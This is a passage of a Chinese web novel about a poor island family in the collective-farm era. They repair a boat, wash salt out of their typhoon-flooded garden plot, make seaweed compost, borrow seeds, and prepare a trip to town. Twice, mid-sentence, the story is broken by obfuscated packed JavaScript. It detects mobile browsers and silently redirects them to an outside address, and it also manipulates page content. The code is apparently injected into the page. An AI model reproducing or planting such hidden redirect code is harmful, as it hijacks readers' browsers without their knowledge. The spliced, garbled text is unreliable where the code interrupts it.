沈海生啃着兔腿,看了一眼自家媳妇夏迎香,又看了看最近长了点肉的沈灵宝,心里头暖暖的。这个家,自从来了这个地方,一天比一天好了。前几天还在喝稀得能照见人影的海带汤,今天就有肉吃了。他低头又啃了一口,骨头都嚼碎了咽下去,舍不得浪费一点。 沈大帆吃了两块肉,喝了碗汤,放下碗,把今天的事儿在脑子里过了一遍。 “舢板修得怎么样了?”他问沈冬生。 “木料找好了,”沈冬生说,嘴里还嚼着山药,“明天就能动手修。船底的洞不大,巴掌大一块,补上就行。桨得重新做两根,原来的烂得没法用了,一划就断。” 沈大帆点了点头:“修好了就能出海了。我打听过了,褚山岛那边有集市,拿东西能换粮食。咱们家现在工分挣得不少,可咱们还欠着大队工分呢!光靠工分分的那点粮食不够吃,还得自己想别的法子。褚山岛那边比石塘镇松快些,不用票,拿东西换就行。” 沈海生擦了擦嘴,把兔骨头放下:“爹,咱们的舢板那么小,能跑那么远吗?褚山岛可是有三十里海路,海上风浪大,那小船扛得住吗?” “天气好的时候能跑,”沈大帆说,语气很稳,“风浪大了不行。先修好了试试,在近海练练,等摸熟了再往远了跑。咱们又不急,一步一步来。” 沈富生有些担心,眉头皱着:“爹,出海打鱼得有网吧?咱家那张网破成那样,到处都是窟窿,能用吗?” 王秀莲接话了,声音利落得很:“网的事儿我来想办法。今天上工补网的时候我看了,咱家那张网虽然破,但不是不能修。我跟迎香、文英加把劲,几天就能补好。网线不够就把旧绳子拆了搓,总能凑出来。” 一家人你一言我一语地商量着,把出海的计划一点点地往前推。修船、补网、攒海货、等好天气——一样一样地安排妥当,每个人脸上都带着劲儿。 沈大帆最后说了一句,声音不大,但一桌子人都安静下来听他说话:“出海的事儿不急,先把船和网拾掇好。月底通行船去石塘镇,我跟着去看看,那边有没有门路。两头都走着,总有一条路能走通。咱们家穷了这么多年,不差这几天。” 一家人齐齐点头。 沈灵宝窝在王秀莲怀里,小手攥着那个小海螺,已经迷迷糊糊地快要睡着了。她嘟囔了一句,声音软软糯糯的,像是在说梦话:“二哥下次还带我去山上……” 沈冬生笑了,声音放轻了:“行,下次二哥还带你去。” “不许往深处走了。”沈大帆补了一句,看了几个孙子一眼,目光在每个人脸上停了一下。 几个孩子心虚地低下头,闷头扒饭,谁也不敢吭声。 王秀莲笑着摇了摇头,把沈灵宝往怀里搂了搂,用袖子盖住她的小肚子,怕她着凉。 25. 搞自留地! 兔肉吃完的第二天,王秀莲起了个大早。 天还没亮透,院子里灰蒙蒙的,露水打湿了门槛。她没去灶房,而是绕到屋后头,站在一块两分多大的地跟前,眉头皱得能夹死苍蝇。 这就是沈家的自留地。 原主沈大帆一家懒出了名,这块地自然也好不到哪儿去。地里的土板结得跟石头似的,踩上去硬邦邦的,脚底板都硌得慌。裂缝从这头裂到那头,比手指头还宽,干得跟龟壳似的。稀稀拉拉几棵红薯苗歪在地里,叶子黄不拉几的,蔫头耷脑地趴在地上,跟生了重病的人一样,一看就活不长。旁边还种了几样菜,说是菜,其实就是几棵瘦得跟柴火棍似的小白菜,叶子被虫咬得全是窟窿,还有几根葱,细得跟针似的,风一吹就倒,看着可怜巴巴的。 台风那几天,海水漫上来把这块地全泡了。如今水退了,地里的菜全死了,叶子烂成一滩黑乎乎的泥,烂得都认不出是啥了,根都泡发了,一捏就碎。土面上结着一层白花花的盐霜,在晨光下看着刺眼得很,跟下了一层薄雪似的。 王秀莲蹲下来,捏了一把土放在鼻子底下闻了闻,咸的,涩的,一股子海腥味直冲脑门。 这块地废了。 她站起身,拍了拍手上的土,心里头把账盘了一遍。岛上人家,家家户户都有这么一块自留地,不大,两分多地,可那是全家人活命的本钱。工分挣得多的,年底能分些口粮;工分挣得少的,就全靠这自留地了。红薯、土豆、萝卜、白菜,一年到头就指着这点地过活。地好了,一家人就能吃饱;地荒了,一家子就得勒紧裤腰带。 沈家以前工分挣得少,口粮领不回来,自留地又种不好,一家子饿得面黄肌瘦的,可不就是这么来的? 王秀莲回到堂屋,沈大帆正蹲在门槛上啃山药棍。山药是昨天剩的,凉了,但他啃得认真,一口一口的,一点渣都不浪费。 “当家的,屋后那块地你得去看看。”王秀莲在他旁边坐下来,把刚才看到的情况说了一遍,“海水泡过了,菜全死了,土也咸了,得重新拾掇。再不弄,今年冬天连口菜都吃不上。” 沈大帆把山药棍放下,拍了拍手,跟着她去屋后看了看。他蹲下来捏了把土,放在手心里搓了搓,又看了看地里那些烂掉的菜叶子,心里有了数。 “得先把这层咸土翻了,让太阳晒几天,把盐分晒掉。然后灌水洗,洗个两三遍,把盐冲走。等土不咸了,再下肥、翻地、重新种。这活急不得,得一步一步来。” 王秀莲点了点头:“我也是这么想的。就是这活不轻,得趁这几天天气好赶紧干,再拖下去就误了农时了。过了这阵子,天就凉了,啥都种不成了。” 沈大帆站起身,看了看这块地。两分多地,说大不大,说小不小,一家人齐动手,两三天能拾掇出来。 “吃完饭就干,”他说,“趁着今天不上工,把地先翻一遍。早点弄完早点安心。” 早饭过后,沈大帆带着几个儿子扛着锄头铁锹到了屋后。王秀莲领着几个儿媳妇跟在后面,连佟娟儿都出来帮忙了,她身子弱,干不了重活,但拔拔烂菜叶子、捡捡石头还是可以的,总比坐在家里强。 沈大帆拿锄头把地分成几块,一人一块,先从翻土开始。 “先把这层烂菜叶子清理干净,烂根也得拔出来,一根都别剩。然后把土翻开,让太阳晒。明天灌水洗,洗完了再翻一遍。这地荒了太久了,得下大力气。” 沈海生力气大,一锄头下去就翻起一大块土。土块硬得很,里头全是盐霜,白花花的,跟下了霜似的,锄头砸上去“梆梆”响。他皱着眉头把土块敲碎,摊开在地上,嘴里嘀咕:“这地硬得跟铁似的,得多少年没翻过了?” 沈冬生和沈富生也闷头干活,锄头起起落落,土块一块一块地被翻起来。沈冬生干得仔细,每一块土都敲碎了才摊开;沈富生干得稳当,不急不慢的,但一块地都没落下。 沈大帆干得最快,他翻土不光是把土翻开,还把底下的好土翻上来,把面上的咸土压到底下去。他一边干一边跟儿子们说:“咸土在上头,苗就扎不下根。把好土翻上来,咸土压下去,再用水一洗,盐分就去了大半。这样晒上两天,地就能缓过来。” 几个小的也没闲着。沈铁柱、沈铁蛋、沈石墩蹲在地边上,把翻出来的石头和烂菜根捡出来扔到一边。石头有大有小,烂菜根臭烘烘的,几个小子捏着鼻子捡,一边捡一边嫌臭。沈木墩人小,就负责把捡出来的东西装进篓子里,和沈灵宝一起一趟一趟地往远处倒。沈灵宝跟在沈木墩后面,小手抓着篓子边,走得摇摇晃晃的,但一趟都没落下。 “小姑姑,你别拿了,太沉了。”沈木墩心疼地说。 “不沉!”沈灵宝咬着牙,小脸绷得紧紧的,双手抱着几根烂菜根,走得歪歪扭扭的,但就是不松手。 中午的时候,地翻了一半。 沈大帆直起腰,看了看日头,招呼一家人歇一歇。太阳正毒,晒得人后背发烫,每个人的衣裳都湿透了,贴在身上。王秀莲从灶房里端出一锅山药糊糊,一人一碗,蹲在地边上喝。糊糊是早上剩的,凉了,但喝下去胃里舒服。 沈海生喝着糊糊,看着那片翻过来的土,忽然说:“爹,以前这块地,种啥啥不行。红薯长得跟手指头似的,又细又小;白菜还没巴掌大就老了,咬都咬不动。现在重新种,能种好吗?” 沈大帆喝了一口糊糊,不紧不慢地说:“地是死的,人是活的。以前种不好,是因为懒,地都不翻,肥也不下,种子撒下去就不管了,能长出啥来?现在好好伺候,没有种不好的地。你伺候它,它就伺候你。” 沈海生点了点头,没再说什么,低头把碗里的糊糊喝了个精光。 沈冬生忽然想起一件事,把碗放下:“爹,咱家有没有肥料?光翻土不行,得下肥,不然种下去也长不好。这地瘦了这么多年,不下肥啥都长不起来。” 沈大帆皱了皱眉。肥料这事儿他倒是想过——岛上人家施肥,要么是人粪尿,要么是草木灰,要么是沤的海草肥。沈家以前懒,连粪坑都没好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483538|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挖一个,更别提攒肥了。院子里那个粪坑还是他来了以后才清理的,里头就那么点底子,根本不够用。 王秀莲接话了:“肥的事儿我来想办法。人粪尿咱家有,就是少了点。草木灰也不多,这几天烧的柴火灰我都攒着呢,也就一小筐。不过我听说海边捞上来的海草沤一沤能当肥用,咱家海带多,那些烂的、碎的,攒起来沤上,过些日子就能用。这两天我去海边多捡点烂海带回来,掺上草木灰,沤它半个月,肥力肯定足。” 沈大帆点了点头:“先翻地洗盐,肥的事儿慢慢来。地弄好了,肥攒够了,再种也不迟。误不了农时。” 下午接着干活。 日头偏西的时候,地总算翻完了。两分多地,整整齐齐地翻了一遍,土块敲碎了摊开在地上,黑一块黄一块的,等着太阳晒。夕阳照在翻过的土地上,泛着一层淡淡的光。 沈大帆站在地边上,看着那片翻好的地,心里头踏实了些。这片地荒了这么多年,总算有了点样子。 “明天灌水洗盐,”他说,“洗两遍,再晒几天,等地彻底好了再下肥。水要从井里打,不能用海水,海水越浇越咸。” 接下来的日子,一家人一边上工,一边拾掇这块地。 洗盐的活儿干了三天。王秀莲带着两个儿媳妇一桶一桶地从井里打水,提到屋后头,一桶一桶地浇在地里。水渗下去,再浇,再渗。一遍不够,再来一遍。直到捏一把土放在嘴里尝着不咸了,才停下来。夏迎香的肩膀被扁担压得通红,赵文英的手上磨出了水泡,但谁都没叫苦。 “这地可真能喝,”夏迎香擦了擦汗,“浇了多少桶了,还跟没浇够似的。” “地渴了太久了,”王秀莲说,“得多喂点水,喂饱了才能长东西。” 地晒了几天,又翻了一遍。这回翻出来的土松软多了,颜色也深了,不再是那种灰扑扑的死色,看着就有了几分活气。 王秀莲把烂海带碎末攒了一大堆,又攒了些草木灰,掺在一起沤着。每天翻一遍,浇点水,让它们慢慢发酵。那堆肥堆在院子的角落里,用破席子盖着,太阳一晒,热气腾腾的,味道冲得很。 过了大半个月,那堆肥沤得黑乎乎的,闻着一股子冲鼻子的味儿,但用手一捏就碎,肥力足得很。王秀莲扒开看了看,里头都发热了,高兴得直点头:“成了成了,这肥沤得好,今年种啥都能长。” 这大半个月里,沈家没有一个人偷懒。 沈大帆带着三个儿子天天出工,一天不落。不管是绑筏子、捞海带还是修船补网,样样都干在前面。沈德贵每次记工分的时候,都要多看沈大帆两眼,那眼神里有打量,有疑惑,也渐渐多了一丝认可。有时候还会多问一句:“大帆,累不累?累了就歇歇。”沈大帆总是摇摇头,说不累。 王秀莲和两个儿媳妇也天天去岸上补网、晒海带,工分一天比一天挣得多。马大嘴和瘦削婶子偶尔还说两句酸话,但没人搭理她们,说了几次也就不说了。 月底的时候,地终于可以种了。 26. 通行船票! 这天早上,天刚亮,沈大帆就带着几个儿子下了地。先把沤好的肥撒上去——黑乎乎的,臭烘烘的,闻着冲鼻子,但肥力足。沈海生一边撒一边捂着鼻子:“这肥味儿可真够冲的,熏得我眼睛都睁不开。” “冲就对了,”沈大帆笑着说,“没味儿哪来的肥力?你闻着臭,庄稼闻着香呢。” 一家人笑着干活,锄头起起落落,地里头那股子冲鼻子的味儿飘得满院子都是。 沈灵宝坐在门槛上,捂着鼻子,小脸皱成一团,眉头拧得跟麻花似的:“好臭啊!娘,这啥东西啊,臭死了!” 王秀莲笑了,一边撒肥一边说:“臭就对了,臭了才能长出好吃的红薯来。你别看它臭,这可是好东西,地里就靠它长庄稼呢。” 沈灵宝将信将疑地看了看地里那些黑乎乎的肥,又看了看王秀莲,最后还是选择相信娘的话,把捂着鼻子的手放下来了,但还是皱着个小眉头,一脸嫌弃的样子。 地翻完了,整好了,耙得平平整整的,就该下种子了。 种子的事儿王秀莲早就张罗好了。她跑了好几家,嘴皮子都磨破了,最后从两家人那里借到了种子。 一家是大队长沈德贵。王秀莲去找他的时候,沈德贵正在家里记账,桌上摊着工分本子,手里拿着笔。听她说要借白菜籽和萝卜籽,抬头看了她一眼,那眼神里带着点意外。 “你家那块地,海水泡了吧?” “泡了,这大半个月一直在拾掇,翻地、洗盐、沤肥,现在弄好了,就等着下种了。地整得可好了,松松软软的,肥也足。” 沈德贵放下笔,沉默了一会儿,从柜子里翻出两个布包,一个里头是白菜籽,一个里头是萝卜籽。布包旧了,但里头的东西保存得好好的。 “拿去种吧,”他把布包递过来,声音比平时温和了不少,“今年你们家变化不小,大帆上工一天没落,几个孩子也勤快了。好好干,日子会好起来的。这地种好了,冬天就有菜吃了。” 王秀莲接过种子,心里头热乎乎的,连声道了谢,又把种子仔细地揣在怀里,生怕丢了。 另一家是刘寡妇刘美芹。王秀莲去找她借红薯秧子的时候,刘美芹正在院子里补衣裳,脚边放着个针线筐。听她说完,二话没说就放下手里的活,在围裙上擦了擦手,领着她到屋后头,从窖里翻出一大捆红薯秧子。 那红薯秧子绿油油的,根须白嫩嫩的,一看就是好东西,保存得特别好。 “这些够不够?不够我再去拿,窖里还有。” “够了够了,”王秀莲赶紧说,眼睛都亮了,“美芹,这太多了,我拿东西跟你换——” “换什么换,”刘美芹摆了摆手,语气跟平时一样硬邦邦的,但脸上带着点难得的笑,“拿去种就是了。你家那块地荒了那么多年,今年好不容易拾掇出来,我还能要你的东西?再说了,这秧子留着也是留着,种下去才能长东西。” 王秀莲知道她的脾气,没有再推辞,把红薯秧子仔细地收好,用湿布包着根,怕蔫了。心里头把这份人情记得牢牢的,想着以后有啥能帮上忙的,一定得还。 地整好了,肥下足了,种子也齐了。 一家人齐动手,把种子种了下去。一大块种红薯,红薯秧子一排一排地插下去,浇透了水;一小块种白菜,籽撒得匀匀的;一小块种萝卜,一垄一垄地埋好。角角落落的地方,种上葱和蒜。墙根那块旮旯地,土薄,种别的长不好,佟娟儿把南瓜种下去了,浇了水,还用小棍子搭了个架子。 王秀莲蹲在墙根,看着刚种下去的南瓜籽,用手把土拍了拍实,心里头想着,等南瓜藤爬满墙,结几个大南瓜,冬天就有菜吃了。南瓜耐放,放在床底下能存一冬天。 傍晚的时候,一家人围坐在堂屋里吃饭。今晚还是山药糊糊配海带汤,但每个人碗里的山药比上个月多了一小块。王秀莲还特意多切了几块山药放进去,煮得面面的,糊糊也比往常稠了些。 沈大帆喝着汤,把这几天的账盘了一遍。 “地种下去了,船也修好了,网也补好了。明天有通行船去石塘镇,冬生跟我去看看。摸摸门路,看看镇上啥情况。” 沈冬生抬起头,嘴里还嚼着山药:“爹,船票咋办?坐通行船得要船票吧?一张票不少钱呢。” 沈大帆从怀里掏出两张整整齐齐的船票,放在桌上。船票虽然旧了,但叠得方方正正的,保管得好好的。 “大队长借给我的。” 桌上的人都是一愣。沈大帆把船票收回去,小心地揣回怀里,淡淡地说:“这个月咱们家没一个人偷懒,工分挣得多,他看在眼里。我去借船票的时候,他二话没说就给了。” 沈冬生有些担心,眉头皱了起来:“爹,咱拿什么去换粮食?家里就一些海货,换不了多少吧?镇上最不缺的就是海货,周围十几个岛的人都去那儿卖,咱们那些东西,人家不一定看得上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483539|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 沈大帆点了点头,把碗里的汤喝完:“先去看看,摸摸门路。咱院里养的那几只兔子现在也大了,肥得很,明儿都带过去。海边的人不愁吃海鲜,但愁吃野味啊!兔子肉在镇上肯定比海货值钱。这几只兔子加一起也该有十斤肉了,能换不少粮食。不过这次主要还是摸清楚情况——供销社收什么东西,不收什么东西,黑市在哪儿,怎么换,心里有个数。这次探好路,下次就有底了。” 沈大帆本来就没对这次出去换粮食抱太大信心。石塘镇周边有大大小小十几个岛屿,镇上最不缺的就是海货,他们石螺岛穷,没有好的设备也捞不到啥特殊的海货,去镇上换东西肯定不吃香。幸好前段时间闺女孙子们捡的这几只兔子,养了一个月,肥得很,这是好东西。 不过这次主要还是摸清楚情况!就跟前世逃荒的时候一样,每次半夜沈大帆都会提前自己去摸一段路,哪里有吃的,哪里有水,哪里能歇脚,心里有底再带全村人往前走,这也是他能在乱世逃荒路上保护全家人安全的原因。这次去石塘镇也是一样,先去探探路,心里有底了,下次就好办了。 一家人商量着,把明天去石塘镇的事儿定了下来。沈大帆和沈冬生带上那几只兔子,再带点晒干的山药片、螃蟹干和干海带,天不亮就出发,坐通行船去镇上,坐傍晚那班船回来。王秀莲叮嘱他们早点去早点回,别在镇上耽搁太久。 沈灵宝窝在王秀莲怀里,小手攥着那个小海螺,已经快要睡着了。她的小嘴微微张着,呼吸轻轻的,脸上还带着点笑,不知道做了什么好梦。 王秀莲低头看了看她,又看了看窗外黑沉沉的天。这个月过得太快了,一眨眼就到了月底。地种下去了,绿油油的红薯秧子在风里摇;船修好了,靠在岸边等着下海;网补好了,整整齐齐地叠在灶房里;工分也挣了不少,欠大队的债还了一大半。 日子虽然还是穷,但比刚来的时候好了太多。那时候米缸比脸还干净,现在好歹有了点底子;那时候院子里光秃秃的,现在种了菜、养了兔子;那时候一家人愁眉苦脸的,现在脸上也有了笑模样。 窗外,海风呜呜地吹,海浪哗哗地响,跟往常一样。 院子里那几只兔子在破布窝里挤成一团,安安静静地睡着,一个个肥嘟嘟的。墙角的旮旯地里,南瓜籽安安静静地埋在土里,等着发芽。屋后的自留地里,红薯秧子、白菜籽、萝卜籽都安安稳稳地待在土里头,等着生根,等着长大。